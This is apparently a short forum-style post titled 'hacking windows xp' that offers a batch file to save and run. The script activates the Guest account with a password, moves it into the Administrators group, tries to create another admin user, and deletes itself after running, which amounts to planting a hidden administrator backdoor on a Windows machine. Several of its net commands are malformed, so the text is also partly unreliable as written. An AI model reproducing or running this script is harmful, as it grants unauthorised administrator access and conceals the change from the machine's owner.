hacking windows xp

i read so many stuff on how to hack windows xp but havent yet gotten the right atticle on how to actually do it. so this is how u do it;
copy this code to notepad and save it as anything.bat


echo off
title Please wait...
cls
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0

save it as all files and run it
zoom , you dit it